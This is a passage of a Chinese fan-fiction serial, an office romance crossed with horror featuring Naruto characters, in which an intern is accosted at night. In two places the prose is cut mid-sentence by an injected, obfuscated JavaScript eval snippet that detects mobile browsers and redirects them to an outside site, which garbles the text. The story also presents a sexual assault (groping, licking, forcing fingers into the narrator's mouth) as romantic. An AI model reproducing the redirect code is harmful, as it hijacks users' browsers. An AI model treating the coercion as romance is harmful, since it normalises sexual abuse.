最后一页则是数则多年前的旧新闻剪报,几乎都是经济专栏,讨论的是宇智波集团和千手集团愈加白热化的商业竞争。只有一则占据了最大版面的新闻,写的是一起意外车祸。尽管使用了化名,还是不难推测出,在卡车撞击时,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993390|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉奈护住了兄长,因此受伤极为严重。自那以后,原本还有缓和趋势的宇智波集团就和千手集团到了不死不休的地步了。 一部分花边小报推测车祸是千手集团那位二把手,千手扉间雇人所为,目的是恶性商业竞争,另一部分则恐惧地提起宇智波斑这个男人对家族亲情的看重。两大集团原本正在议程的合约统统作废,月之眼企划,也是那时由尚且年轻的宇智波斑提出草案的。 我越看越汗如雨下。这完全是家族内部秘辛,公司商业机密。为什么斑先生就这么随随便便让我看了?! 如果是跌宕起伏的职场电视剧,知道机密又是底层实习生的我,在第一集就会死掉了! 我流着冷汗静悄悄将文件放回原位。当作自己什么都不知道的样子,心虚地给宇智波斑整理起办公桌,若无其事将文具分门别类放好,歪掉的文件夹整理整齐,桌子上的书按照假名顺序放回书架。让自己显得十分忙碌起来。 大概是这两天有些太累了,整理到一半我就忍不住犯困,脑袋一点一点的,捂住嘴憋回去好几个哈欠。眼角湿湿的,都是憋出来的生理性眼泪。 “斑先生,我稍微去一下卫生间。” 宇智波斑效率很高,早就解决了豆皮寿司,正埋首用笔圈划着文件上的要点。表情很严肃。 他戴着一副眼镜,看起来有些书卷气,闻言捏了捏眉心,漫不经心地颔首道:“去吧。” 就像轻描淡写同意养着的小宠物一个人出去玩的主人。 我将废弃的寿司盒子收拾好丢掉,静悄悄推开门走出去。夜里的公司大楼安静又黑暗,只有这一小块区域是亮着的。 四周静谧无声。 我还是第一次到顶楼来,忍不住有些紧张与好奇。 厉害又优秀的上司们工作的地方是什么样呢?宇智波斑的办公室又大又豪华,甚至还有漂亮的真皮沙发和茶几,就像电视剧里一样。和我的工位完全不一样。 高跟鞋鞋跟敲击在地板上有清脆的哒哒声,在空旷的楼层间回响,让我想起不少看过的恐怖怪谈,心跳声忍不住有些加快。 掌心出了点汗。 在总裁大人宇智波斑的办公室旁边,是执行官宇智波带土的办公室,那里灯已经完全黑了。执行官大人应该是早就下班回家去了吧。 我偷偷把脸贴着玻璃看了下,执行官大人的办公室和斑的结构大体上差不多,桌子上摆着宇智波带土的铭牌,真好啊,真厉害啊,我羡慕地望着,有朝一日我也想成为这么厉害的大人物。 铭牌的旁边摆着一罐五颜六色的糖果,这是整个办公室唯一让我觉得奇怪的地方。带土先生喜欢吃糖果吗? 说起来,我还没有见过这位鼎鼎大名的执行官大人呢。不过正式会社员们都说他工作能力很强,而且神出鬼没,经常出现在意想不到的地方。尺寸还很大。 别的我都能理解,尺寸很大是指什么? 身高比较高吗? 卫生间在拐角处,摆着漂亮的绿植。走进去的时候声控灯就亮了。 我只是想来这里洗把脸清醒一下。毕竟斑先生还在工作,我在旁边打哈欠,多少有点不像样。 末班电车应该是完全不用去考虑了。我还不知道今晚可以睡在哪里。附近的胶囊旅馆?听说只要一千日元,价格是我这种人也能负担得起的便利临时住所。但是明天早上的洗漱要怎么办?而且两天都穿同一件衣服,代表着我今晚没有回家,这种暗示很暧昧,大多意味着和男人回家过夜了。公司里一定会有奇怪的谣言。那个主管一定又会来找我的麻烦,认为我是可以被他搞到手的女人,之前只不过是在欲擒故纵。 咕呜……头痛…… 我皱着脸苦兮兮地打开水龙头,将凉水泼在脸上,果然困意消去很多,变得清醒起来了。 眼睛紧闭着,水珠从脸颊上落下。手指在台面抓了几下,我记得用来擦手的纸巾是放在—— 一张纸巾落在了我的手里。 “谢谢。”我下意识道谢,用纸巾将脸上的水珠擦干净。居然碰到了帮忙抽纸给我的好心人,我有些开心起来。 “不用谢。”对方礼貌地说。 声音低沉。 “在苦恼今晚睡在哪里吗?”他温柔地说,“你的表情看起来真令我揪心啊。” “是呀是呀,”我叹了口气,说,“都这么晚了,电车都开走了……打车的话又太远了,完全负担不起。” “啊,那的确有些难办了。”声音的主人感同身受,低落起来,“真可怜呀……太可怜了……多么需要援助的,无助的孩子……” “啊,不用担心!也不是完全没有办法,”我擦拭着眼睑上的水珠,含糊不清地说,“不知道这附近有没有胶囊旅馆,我想在那里先凑合睡一晚上。” “呵呵,不介意的话,我可以帮你。” “欸?真的吗?”我有些惊讶地说,摸了摸被打湿的刘海末端,“您住在这——” “你可以……”他甜蜜地又温情脉脉地打断我,“一直住在我家里……我会精心地饲养你,给你最好的食物和衣服……” “……欸?” 心跳猛地停住了。 却又响得惊人。 咚咚。咚咚。咚咚。 艰难地吞咽。 湿掉的纸巾皱巴巴地团在掌心,冰冷又黏腻。 这里是女厕。 斑先生在办公室。 已经是深夜,保安巡楼回去的时候告诉过我,整个公司只剩下我一个人。 那么…… 这个好心人是谁? 声控灯在这个时候暗了下去。 伸手不见五指。 我抬起脸,发现自己身后站着一个很高的黑影。 垂着眼睑,一只猩红色的眼睛直勾勾盯着镜子里的,我的脸。 甜蜜柔软又毛骨悚然的呼吸声。 血液在一瞬间逆流。 9. 第 9 章 09、 鬼、鬼啊!!!! 冷汗瞬间湿透衣服。 那一刻,脑海中浮现出了,此生看过的所有怪谈恐怖故事。 被杀死在厕所里的花子、整容失败会吃掉小孩子的裂口女、穿着白色连衣裙用舌头卷起小孩带走的八尺大人、被爱人背叛自杀而死的复仇骨女…… “唔唔唔——!!”对不起鬼先生请不要杀我我会一生行善积德给你立神龛每年都会去捐钱祭拜呜呜呜不要杀我!! 大大的手掌几乎要盖住我半张脸,嘴唇被完全捂住,我的绝地求生之语完全无法传达。 “嘘……嘘……”鬼的脸颊轻轻摩擦着我的侧脸,镜子里我的脑袋旁边是一个看不清的黑影,他捏着我的下颌,甜蜜地对我耳语,“安静点,如果被那个碍事的老家伙发现,即使是我也会感到稍微有点棘手……” “唔唔唔!!”什么“老家伙”?“棘手”是指什么??鬼先生也有上司吗?? “啊啊,我知道噢,这颗急速跳动的、鲜红又炙热的心脏,在我的掌心扑通扑通地挣扎着。呼呼,真可爱,真可爱,只要稍微一用力,你就能在我的怀里死掉呢。多么脆弱又渺小的存在……你爱着我呢……真高兴啊,我们是两情相悦的。太棒了,我爱的人也如此爱我。简直就像是做梦一样愉快。嗯嗯,可怜的小姐见到我太激动了呢。你的身体出了很多汗,眼泪也流出来了,真可爱呀……真可爱……在我的怀里这样发着抖……又可怜又柔软……” “唔嗯!!” 甜蜜而令人毛骨悚然的低语在我耳边响起,温热的舌头从耳廓一直慢慢舔到眼角。 眼泪,被舔着吃掉了。 舌头贪婪地舔舐着湿润的眼眶,灼热的吐息喷吐在颤抖的眼睑上。 双腿发软,完全站立不住。 恐惧的眼泪扑簌簌落下。 急促的呼吸被闷在捂着脸的手掌里。 不属于我的,另一个人的粗重呼吸声缠绵在耳畔,甜蜜又诡异。 “你,爱着我的,对吧?” 我呼吸着,喉咙刺痛。 不能……不能否定他。 第六感提醒着自己冰面下的危机。不能否定,否则,会死掉。 发软的小腿无法支撑恐惧的重量,我往地上栽倒,在膝盖撞在地面之前,身后的鬼先生爱怜地一把将我捞住,完全抱在了怀里。 就像亲昵又喜悦的,抱着玩偶的小孩子。 珍惜地抱着玩偶蹭来蹭去。 “真是的,冒冒失失的小姐……”他宠溺地责备着,“不仔细照看你,很容易就会死掉呢。如此、如此弱小又可爱……呵呵……” 我拼命喘着气。 要被杀掉了……要被杀掉了…… 不想死不想死不想死不想死不想死不想死。 救救我救救我救救我。 呜呜呜妈妈—— 眼泪拼命地流下来,脸颊上湿漉漉的,不知道是我的眼泪还是他留下的唾液。 像是玩玩偶一样,一根一根地捏过去每根手指,然后像捏猫咪肉垫那样在掌心的软肉处不停地捏来捏去。头顶上是鬼先生越来越兴奋急促的呼吸声,还有令人毛骨悚然的惊悚呢喃。 喋喋不休着相同的内容。 “呼呼,好可爱……好可爱……好想吃掉。好柔软……你闻起来好香。让我饲养你,让我饲养你。我会在有阳光的天气把你搬到露台让你好好地晒太阳,在雨天和你一起做家务和听音乐……” 咿——! 不要把我当成盆栽来养啊鬼先生! “啊,抱歉,差点忘了。这里的话……” 宽大的手掌移到了惊慌起伏的小腹。尽管他的手移开了,但是担心他暴起伤人,我还是咬着唇流着冷汗不敢呼救。 得、得寻找到合适的机会。 他泰然自若地解开我的西装外套扣子,将衬衫从一步裙里扯出来,宽大的手掌透过衬衫的下摆插进去,完全盖住了那里。鬼的掌心与人的小腹贴合,甜蜜又黏腻的滚烫温度直接传达到我渗出冷汗的肌肤。 心跳声响若擂鼓。 不停吞咽唾液。 “这里的工作我也会好好努力完成……”他按着我的小腹,甜蜜地允诺。低沉的嗓音犹如情人的耳语。 “耐心又仔细地浇灌每一处,将你饲育得又健康又美丽。” 他这样说着,就像有食人癖好的变态杀人狂一样,在我的发顶和脖颈那里嗅来嗅去。按揉着我的小腹,评估我的美味程度。 “好香……呼呼,好香……真可爱,真可爱……” 清晰的、渴望的,吞咽唾液声。 阴湿又黏腻地,缓缓舔过后颈的,舌苔上细微的颗粒。 混合着滚烫急促的兴奋喘息,让人头皮发麻的急速呢喃。 “好可爱,嗯……又可怜又可爱。没有我的帮助就完全活不下去……脆弱又无助地,在我的怀里哭泣与发抖,太可爱了……” 在我冒着冷汗的肚子上摩挲着的滚烫有力手掌,逐渐往上,已经碰到了胸衣的边缘。 我惊恐地瞪大眼睛。 ——叮铃铃! 电话声打断了这惊悚而压抑的黑暗。声控灯亮了起来。 拦在我胸前的手掌上有着奇怪的、漩涡般的狰狞伤疤。指骨凸起,有力而硬朗。 视线被眼泪模糊,只能透过镜子看到,我被一大团黑色的不可名状的东西裹在怀里。 只有猩红色的,旋转着黑色花纹的,因兴奋而夺目鲜艳的独眼眼瞳叫人见之心惊肉跳。 那只手拿起我的手机,按下了通话键。 来电是房产推销员,之前就打过许多次,喋喋不休地推销着某处豪华房产还有新人可以利用的大额贷款措施。 或许是自己口干舌燥讲了半天,却没有人回应,推销员在疑惑中挂断了电话。 “打扰了。请您认真考虑我司的新型房产,绝对是一次物超所值的投资!” 啪嗒。 悄无声息。 我从没有像今天这样,期待推销员的电话永不结束。 “嗯……已经在考虑这个了吗?”他甜蜜地说,“我的新娘还真是可爱……” 鬼先生在我身后甜蜜而诡谲地呼吸着,起伏的胸膛紧紧贴着我的后背。他用力地将我压向他怀中,仿佛我们之间的距离还不够紧密似的。 他的心情十分愉悦,甚至有些……兴奋。 是因为推销员为了卖出房屋,详细地介绍了房屋的功用,尤其强调它适合已经有孩子的、感情恩爱的新婚夫妻居住吗? 因为没有声音发出,声控灯又暗了下去。 他松开了我。 我哆嗦着,仿佛被车灯照住的鹿,惊恐地看着那团巨大又恐怖的黑影,手指冰凉,一动也不敢动。心脏狂跳,手指紧紧抠着掌心。 “真可怜啊,真可怜的孩子啊。你一定很需要帮助吧,太可怜了……孤独地、弱小地、无依无靠地自己一个人辛苦地活到了今天……” 他爱怜又甜蜜地捧着我的脸颊,深深地弯下腰来,望着我的眼睛,柔声道。 拇指擦过我不停滚落的眼泪,又按在我颤抖的嘴唇上,接着加重了力度。在柔嫩的嘴唇上用粗糙的指腹反复摩挲,让我的嘴唇发起热来,变得又疼又痒。 手指微微陷进张开的、被摩擦得滚烫红肿的唇缝里。摩挲着小小的牙齿。 我呼吸急促,压抑着哭泣声,变成“唔唔”的呜咽。 “今天也在努力地夺取着空气里的氧气,拼尽全力地想要活下来。嗯嗯,我知道哦,乖孩子乖孩子,真了不起——” 像是夸奖第一个完成画作的幼稚园小孩,鬼先生用手掌赞许地摸了摸我的头发。 手指强硬地挤开我紧闭的牙齿,剐蹭过柔软的牙龈,捕捉到躲闪的舌头,指骨顶着上颚打着圈。 口腔里满是他强烈的气息。 “不过没有关系哦,今后可以不用这么努力了。因为我会精心地饲育你,将你好好地养育,变得又健康又美丽。成为心中只爱着我的专一的好孩子……眼里只能看到你最深爱的我……” 过量的唾液无法吞咽,顺着嘴角溢出,打湿了衣襟。 滚落的眼泪和唾液混合在一起,脸颊变得脏兮兮黏糊糊的。 他凑上来,一边用舌头舔着混合物,一边发出令人毛骨悚然的呢喃低语。 声音低得近乎喘息。 “嗯,好香……呼哈……好香……真可爱,太可爱了……” 顺着眼泪流淌的痕迹, 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“嗯嗯,真可爱。”他甜蜜地说,“我每天都认真地注视着你。但是这样是不够的吧,你的心意一定和我是一样的吧,想要快点融为一体,想要尽快彼此相爱。嗯嗯我都知道哦,乖孩子乖孩子。” 他在说什么? 好可怕好可怕好可怕。 “好可爱……呵呵……” 他呢喃着靠近我,力气好大,眼睛好恐怖。 ——不要。 手掌抓着我的脑袋。 ——不要不要不要。 缓缓凑近我。 ——放开我!! 然后,轻轻地。 像是触碰世间最脆弱最美丽最柔软,最容易转瞬即逝的雪花。 在我的嘴唇上,留下蜻蜓点水似的一吻。 ——欸? 用鼻腔发出的,低沉而温柔的,含着笑意的吐息。 眼睛因为柔软的爱意而弯起。 ——为什么? “……” 我愣愣地看着他,眼泪吓得止住了。 “献给你,我的新娘。” 他像照顾小孩子一样,用松软又香喷喷的毛巾帮我把脸洗干净。接着把凌乱的衣服穿好,打理得干干净净整整齐齐。他好像很擅长照顾老人和小孩子,会用很可爱的话说“把手臂举高高”“嘴巴张开让我看”“舌头吐出来”“好乖好乖,这是奖励”,照做以后嘴巴里被奖励似的塞了一个硬硬的东西。圆球状。 甜甜的味道在口腔里弥漫开。 是糖果? 哄小孩子吗? 被拉出来玩了很久的舌头舌根又酸又麻,还很痛。口水不停地分泌。 甜腻的糖果顶着腮,缓慢融化。 我像玩偶一样任由他摆弄。 “柔软的,弱小又没用,只能依靠我的新娘,”他低沉的嗓音阴湿又黏腻,甜蜜又令人毛骨悚然,“在这黑暗又令人痛苦绝望的世界中闪着光吧,我想在你身上,看到另一种可能。” 食指竖起,按在了嘴唇上:“嘘……”他说,“这是独属于你和我之间的,秘密。” 我吸着鼻子警惕地看着他。缓缓挪动脚后跟。 他没有动作。 我猛地转过身,撒开腿狂奔起来。 寂静的走廊响起高跟鞋噔噔噔的回音。我一直跑到宇智波斑的办公室,喘着气飞速关上门,惊魂未定的身体,颤抖着紧贴着门板,胸腔起伏不定。 额头上全是劫后余生的冷汗。 我紧张地等了很长时间,对方并没有追上来。这才犹豫不决地放下半颗心。 转身看向门外,走廊里寂静漆黑,空无一人。 爆发的肾上腺素衰退,我的脚一软,差点摔倒在地上。 我扶着墙壁站稳,意识到宇智波斑一直没有出声。 我慢慢往前走了几步,这才发现沙发上隆起一个黑影。 或许是我在卫生间耽误太久,宇智波斑已经睡在了沙发上。 他闭着眼睛,呼吸声平稳。除了大约是留给我的一盏淡黄色的睡眠灯,整个偌大的办公室,只有电脑屏幕休眠时,猩红色的月之眼LOGO,隐隐亮着红光。 10. 第 10 章 10、 我深深呼出一口气。 回到有活人气息的办公室,让我感觉好多了。 无论斑先生说话再怎么奇怪,那也是会呼吸,会工作,累的时候会睡觉,还会吃豆皮寿司的活人。和镜子里面有着猩红色花纹独眼,把我当成玩偶舔来舔去的可怕黑影鬼先生完全不同。 受到的强烈冲击还未完全平复,身体又酸又痛,十分疲惫,困倦到了极点。但精神上却仍旧处在警惕期,脑神经活跃,无法入睡。 身体的疲惫困倦和精神的异常活跃的矛盾,让我感觉很不舒服。 小腹凉飕飕的,西装外套的一枚纽扣不知遗失在哪里,原地只剩下半截线头。无法合拢。 我可不敢再回卫生间寻找,只好就此作罢。做好将来付出购买相似款式的纽扣,修补衣服的心理准备。 将线头抽出来丢掉,我发现自己的手指仍然在不自然地发抖。于是我借由整理自己的公文包来慢慢平复紧张的心情。因为斑先生已经睡着了,我的动作很轻,小心地将先前拿出来的钢笔笔帽盖好,笔记本的书签夹在使用的那一页,合起来放进公文包。 办公室里的光线有些昏暗,将公文包拿起来的时候,不慎碰掉了桌子上的文件。我吓了一跳,连忙蹲下来捡好,重新放回桌子上。 这似乎是一份安全顾问公司的资料册。设计上用色非常大胆新颖,以纯黑色做底,点缀红色祥云花纹。写着“晓”一字。 想到今天遭遇到的危机,我忍不住翻开资料册,这家安全顾问公司有着一群优秀而专业的安全顾问人员,我所看到的这一页,描写着代号为“朱雀”的工作人员的履历,他在十分年轻的年纪(11岁?真的假的?呜哇好夸张!)就精通了多种格斗技和枪械武器,出身于忍者世家,看起来十分厉害。 我若有所思。 斑先生是跨国集团的总裁,之前也遭遇过蓄意谋杀,弟弟受伤需要长期疗养。因此斑会关注挑选优秀的安全顾问公司,聘请专业人士保护自己的安全,也很正常。 职场电视剧里都这么演,总裁的身后是一定要跟着一群穿黑西装戴黑墨镜,肌肉超级发达,脸上还有疤的保镖的! 这个代号“朱雀”的家伙,应该也是这种超厉害、非常能打的肌肉硬汉吧! 我在心里认可般地用力点了点头。 斑先生选择的安全顾问公司一定是最优秀专业的,等我将来变得很厉害,有很多钱,我也要聘请自己的保镖,这样我想在半夜去几趟卫生间就去几趟,再也不会害怕撞见鬼了! 今天这件事一出,我可能有半个月都会对半夜去卫生间有心理阴影……咕呜…… 抱着些微“将来说不定会用到”的轻浮心情,记下了“晓”组织的联系方式,我放好宣传册,写了张便条,拎起公文包,正准备离开,去附近的胶囊旅馆凑合过一晚。 高跟鞋尽量小心地踏在地面上,动作放轻又放轻,蹑手蹑脚。我可不想把宇智波斑吵醒,万一他有起床气,那么明天我就会因为走在总裁大人背后而被开除。 手掌按在门把手上,我忍不住地扭过头,宇智波斑依旧睡在沙发上,蓬松的黑色长发有些炸炸的,睫毛又长又密,五官轮廓比平时严肃冷傲的样子要柔和很多。或许是名字相似的缘故,让我想到睡在草丛里的黑色长毛猫咪小斑。 虽然很大只,走起路来威风凛凛,毛茸茸的大尾巴高高翘起,像君王一样傲慢不给人摸,但是睡熟了也会和其他小猫一样露出毫无防备的表情。 我迟疑地想。 宇智波斑吃有飞鱼籽内馅的豆皮寿司,也会噼啵噼啵地把飞鱼籽咬碎……吧? 在见到他之前,会社员们说他是有三头六臂能喷火还会影分身的大魔王,发现他只是正常的普通男人,我还有些失望。 不过,正因为是正常的普通男人。所以才会和我一样,噼啵噼啵地咬碎飞鱼籽。 想到这里,心脏莫名其妙变得软绵绵的。 学生们虽然喜欢猫咪小斑,但都认为它很凶,害怕被它挠或咬,总是不敢靠近小斑,只是远远地拍照和看着。只有我知道,小斑其实没那么冷冰冰,只要对它友好一点,它就会装作不知道你在摸它的猫耳朵,如果它心情好,还会包容地舔舔你的手指,屈尊降贵照顾一下没用的人类。 会社员们在茶水间恣意讨论新进公司的总裁大人,评头论足,仿佛他光鲜亮丽、冷淡孤僻的外表下是三头六臂、生人勿近的大魔王。但是没有人敢在他面前这样做,因为宇智波斑高高在上。可是我知道,宇智波斑会喊上没有吃晚饭的我,把自己的豆皮寿司分给我吃。还会一直工作到深夜,直接睡在办公室沙发上。 没有人的成功是平白无故,天降好运得来的。都是背后一点一点的汗水和努力,才有今天的成就。 为了自己的梦想,每个人都需要付出常人所不能想象的代价。 斑先生一定,很看重月之眼企划。 凶巴巴又骄傲,像君王一样生人勿近的猫咪小斑,也和其他猫咪一样,睡着了会露出肚皮,闻到喜欢的豆皮寿司的味道就会从草丛里钻出来。 只是一只普通的可爱小猫咪。 就这样,我鬼使神差地走过去,轻轻地蹲下身,近距离观察宇智波斑。 鼻梁很高,挺拔而有型。眉弓隆起,眼窝深邃。换了很多个角度去看也没有死角,即使是从死亡角度拍照也是能够上杂志封面的熟男帅脸。仅凭这张脸就可以成为全日本的国宝,如果要给这张帅脸投保的话,保险金大概是天文数字。 我偷偷摸摸在他面前小心翼翼挥了挥手,确认斑先生彻底睡熟了,就大着胆子,轻轻摸了摸他蓬松的黑发发梢。 欸? 我的表情呆滞住了,手僵硬在半空。 斑先生的头发很长,看起来是有些炸炸的。但我没想到,摸起来的手感完全不像长毛猫的猫毛似的顺滑柔软。反而超级硬,硬邦邦的,还有点扎手!刺刺的! 怎么这样!这和我幻想的完全不一样! 我大失所望! 硬邦邦人类斑先生完全输给柔软香喷喷猫咪小斑! 因为怕吵醒宇智波斑,我只用了很轻的力道,而且只小心翼翼地摸了摸发梢,我很有经验,偷偷摸小斑练出来的,从始至终宇智波斑都是熟睡着的。我的动作并没有唤醒他。但我刚想把手抽出来,就被猛地攥住了手腕。 咦? “呜哇,咿——!” 一阵天旋地转,回过神来的时候,我正看着面前的茶几发愣。 熟睡中的斑先生莫名其妙抓着我的手,把我拽到了他怀里紧紧抱了起来。 我试着挣扎了下,却被抱得更紧了,半梦半醒中的男人抽动鼻尖,在我的后颈嗅了嗅,似乎是嗅到了让他安心信任的气息,鼻息重新变得平稳舒缓,发出猫呼噜似的咕噜声。在我的后颈处用脸颊亲昵地蹭了蹭,嘴唇若有似无地擦过肌肤,就这么抱着我睡着了。 欸……欸?! 欸??!! 我瞪大眼睛,难以置信。 怎么回事?! 我胆战心惊伸手,小心地试着掰开紧锁在我腰上的、肌肉结实有力的手臂。但斑先生的手臂就像铁铸似的纹丝不动,在发现我想要拉开他以后,似乎还勒得更紧了。 好痛苦……呼吸……呼吸!骨头要断掉了! 我像毛毛虫一样在他怀里咕蛹咕蛹蠕动了一阵,累得满头大汗,换来的结果是被下意识抱得更紧了。他的呼吸声加重了一些,像是有些不高兴了。 欸?为什么?! 我陷入茫然。 因为体型差过大,斑先生已经完全把我塞进了他怀里,如果这是一个草莓大福,那我就是被名为宇智波斑的黏嗒嗒糯米皮包裹起来的那颗倒霉草莓。吸进来的空气里都是斑先生身上的味道。 说不上来的好闻。 闻久了脑袋就变得有点晕乎乎的,脸颊也有些发烫。 我欲哭无泪,满头大汗。喘着气大脑放空,休息了一会儿。 斑先生睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993392|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉时也戴着黑色皮质手套,手套和挽起来的袖子之间露出一节性感有力的小臂。他就这样独裁专断地抱着我,把我刚被鬼先生整理好的外套和衬衫弄得一团乱。黑手套深深陷入我的腰侧,勒得很紧,搞不好明天会在腰上留下红色的指印。 他把脑袋埋在我的后颈,那里被他湿润的吐息弄得又痒又烫,触感好奇怪,时不时贴过来的柔软嘴唇让人浑身不自在。我想缩起脖子躲过,但是沙发太小了,怎么挪动也无济于事。 忙了半天,除了把自己的衣服和头发弄得乱七八糟,又累又热以外,没有任何成果。 公文包已经掉在了地上,鞋子也早就啪嗒啪嗒掉下去了。我无奈地叹了口气,望着天花板,在“摇醒斑先生然后明天因为斑先生的起床气被开除”和“等一会儿可能就会把我松开了吧”之间自我博弈了几秒钟,从心地选择了后者。 没办法呢,因为我很窝囊! 或许就像我睡觉时喜欢抱着大抱枕一样,斑先生也要抱着柔软的玩偶才能入睡。 只不过我倒霉地刚好路过他身边,被半梦半醒的斑先生顺手抓过去当安眠抱枕了。 毕竟我的运气一直很普通,抽奖总是抽不到。 等一会儿,他就会把我松开了吧! 我抱着美好的期待等了又等,等了又等,本就十分困倦的脑袋逐渐一点一点的,眼皮变得沉重起来。 沙发本来就不是用来睡觉的地方,睡上两个人更是有些狭窄。只有两个人紧紧贴在一起,才不会从沙发上掉下去。 我打了个哈欠,蜷缩起身体,尽量把自己塞进斑先生怀里,脊背贴着他的胸膛。乱七八糟地想着明天要去楼下的便利店买临时的洗漱套装,在大家上班之前偷偷去卫生间整理好自己。然后若无其事地出现在工位上。往好处想,这样还节省了通勤时间,可以多睡一个小时。还有主管交给我工作,剩下一大半,明天也要继续……呼呼…… 黑甜的梦境犹如倾盖大地的纱幔,将我浸没在柔深的海底。 我放松下来,任由自己陷入梦乡。 朦胧间,有什么东西重重擦过我的唇瓣,反复摩擦,似乎要擦去什么标记,充满着焦躁、嫉妒与不满。有着皮革制品的味道。 接着,是不停嗅来嗅去的细微骚动,像被警惕的猫咪耸动着鼻尖,从头到脚闻了一遍。猫咪判断出令人不快的结果,我的嘴唇好像被泄愤似的狠狠地咬了一口。刺痛感。 我:??? “呜……!” 梦里有螃蟹夹了一下我的嘴巴,好痛。 坏螃蟹!把你抓起来烤熟吃掉! “哼,偷猩猫。” 一声不悦的冷哼。 “背叛。 “不忠。 “背主。”宣判了死刑。 就像被激怒的猫咬了人的手指,猫咪会立刻用有倒刺的舌头舔舔,被螃蟹重重夹了一下的我的嘴唇,也被什么黏腻软滑的东西舔来舔去了。 好像我的嘴巴是好吃的糖果一样,舔得很起劲。 宽大有力的、戴着皮质黑手套的手掌,在纤细脆弱的脖子那里比划了一下,缓缓收拢。 “需要戴上项圈。” * 黑暗中,宇智波斑看向门外,声音很冷,充满警告:“我可没有允许你这样做,带土。” “哈……”门外响起低低地、满不在乎的笑声。 宇智波带土悄无声息地推门进来。 他抱着手臂靠在门框上,双腿又长又直,若无其事地笑道:“斑,我只是……” 戴着单边眼罩的男人舔了舔嘴唇,眼睛慢慢变成猩红色,视线落在沙发上熟睡的人,声音甜蜜而令人毛骨悚然:“只是先尝尝味道。以免一不小心忍耐到极限,控制不住把她一口吞掉。”他意味深长地望了一眼正不悦地将人完全遮起来,紧紧抱在怀里的宇智波斑,“你能理解我吧,斑?” “……这是最后一次,带土。” 宇智波斑警告道。 他没有反驳。 11. 第 11 章 11、 前略,和自己的顶头上司搂搂抱抱着在办公室沙发上睡了一觉(※什么都没发生)。 头发睡得乱七八糟,衣服上全是暧昧的褶皱,嘴巴和脖子也因为落枕而痛痛的。脸上还有可疑的红痕(※什么都没发生)。 并且对方泰然自若地、十分自然地紧紧抱着自己(宇智波斑完全没有解释他的所作所为的意思),连尿遁逃避上司醒来,两个人对峙复盘这一切的机会都没给。只能一边装睡一边在心里大叫:为什么昨晚会那么自然丝滑地在别人怀里睡着了。难道我是都市浪漫小说里的笨蛋女主角?! 高高在上无所不能,有钱又帅的总裁大人,宇智波一族的族长宇智波斑,在机场对平平无奇普普通通打工小妹的我一见钟情,于是使尽手段明里暗里追求我,又是鲜花(※没有)又是钻戒(※没有),可是我是钢铁直女大笨蛋,完全没有看懂暗示,还一直对大总裁敬而远之。于是恼羞成怒的大总裁就这样把打工小妹的我留在自己办公室,还很有心机地装睡,得以抓住我抱着我和我共度良宵…… 接下来的剧情就是宇智波大总裁豪门追妻,还有我变成超级有钱的总裁夫人。 ——叮铃铃! 闹钟响了。 啊,原来要上班了。 梦醒了。 这下没法装睡了,我硬着头皮睁开眼睛,做出一副自己刚醒的样子,试图从沙发上滚下去。 没成功。 我低下头,那只手还在腰上。侧过头,宇智波斑正在打哈欠(天呐斑先生会打哈欠!),像猫咪那样张大嘴巴。或许是察觉到我的动静,他垂下眼睛。 咿!对视上了。 我哆嗦了一下。 “早、早安,斑先生。”我结结巴巴说。眼神心虚地转来转去,不敢继续对视,转而研究起他领带上的花纹。 好像是团扇? “啊,早。”斑很随意地回答我,手掌动了下,似乎是要帮我把敞开的外套纽扣扣好,却摸了个空,纽扣昨晚遗失了。他顿了一下,才问,“早餐想吃什么?” “斑先生想吃点什么呢?” 场景和对话很像那种传统的日式新婚夫妻,虽然睡在一张床上,但是还在拘谨地打招呼,询问早餐和日常安排。 “你看着办吧。”他很宽容地说,慢慢摩擦了一下摸空的拇指与食指,嘴唇抿着,莫名其妙有点不太高兴。 “是,明白了,斑先生。”我回答。 一时无话。 我左看右看,在心里吹起口哨。 好尴尬。 对职场新人来说,还有比现在这更尴尬的事情吗? 有的,朋友们,有的! 那就是当我要起身的时候,发现两个人的头发缠在一起了。 好痛! 斑先生是长发,发质硬硬的,大概是侧面那搓和我后脑勺的头发缠在一起。我蠕动着在茶几的柜子里摸到了剪刀,说了声“抱歉”,咔嚓咔嚓把结剪掉,最后丢在了垃圾桶里。 抬起头的时候,发现斑先生在盯着我的头发。 “嗯?” “没什么。”他说。 “啊,好的。”我说,“请稍等,斑先生,我去整理一下。然后把早餐送来。” 我按照计划去便利店买了洗漱用品和早餐。闹钟是之前定的,留下了很长的通勤时间空余。因此现在的大楼里空无一人,只有早早上班的保洁阿姨和我打了招呼。 “早。今天来得很早嘛。” “您也早安。”我笑着说,“没做完的工作比较多,就早点来了。” 高跟鞋哒哒地走在空旷的楼层间,我安静地等待电梯到达。 地板和墙壁已经被保洁阿姨打扫擦拭得光洁亮丽,能够看到我睡得有些乱的头发。我连忙整理了一下,可还是有两撮顽固的头发在脑袋上翘着。 因为到得比较早,便利店的速食区还是满满的,不少比较抢手的热销商品现在库存都很足。我给自己拿了一份三明治,选择斑先生的早餐时却犯了难。 虽然他昨天告诉了我很详细的个人资料,但是给公司的顶头上司买早餐,只买一份豆皮寿司就可以了吗? 想了想,我还是又拿了一瓶牛奶和一份和我一样的鸡蛋三明治。 总是吃豆皮寿司很没有营养,斑先生应该要多吃一点含有蛋白质和蔬果纤维的食物才行。 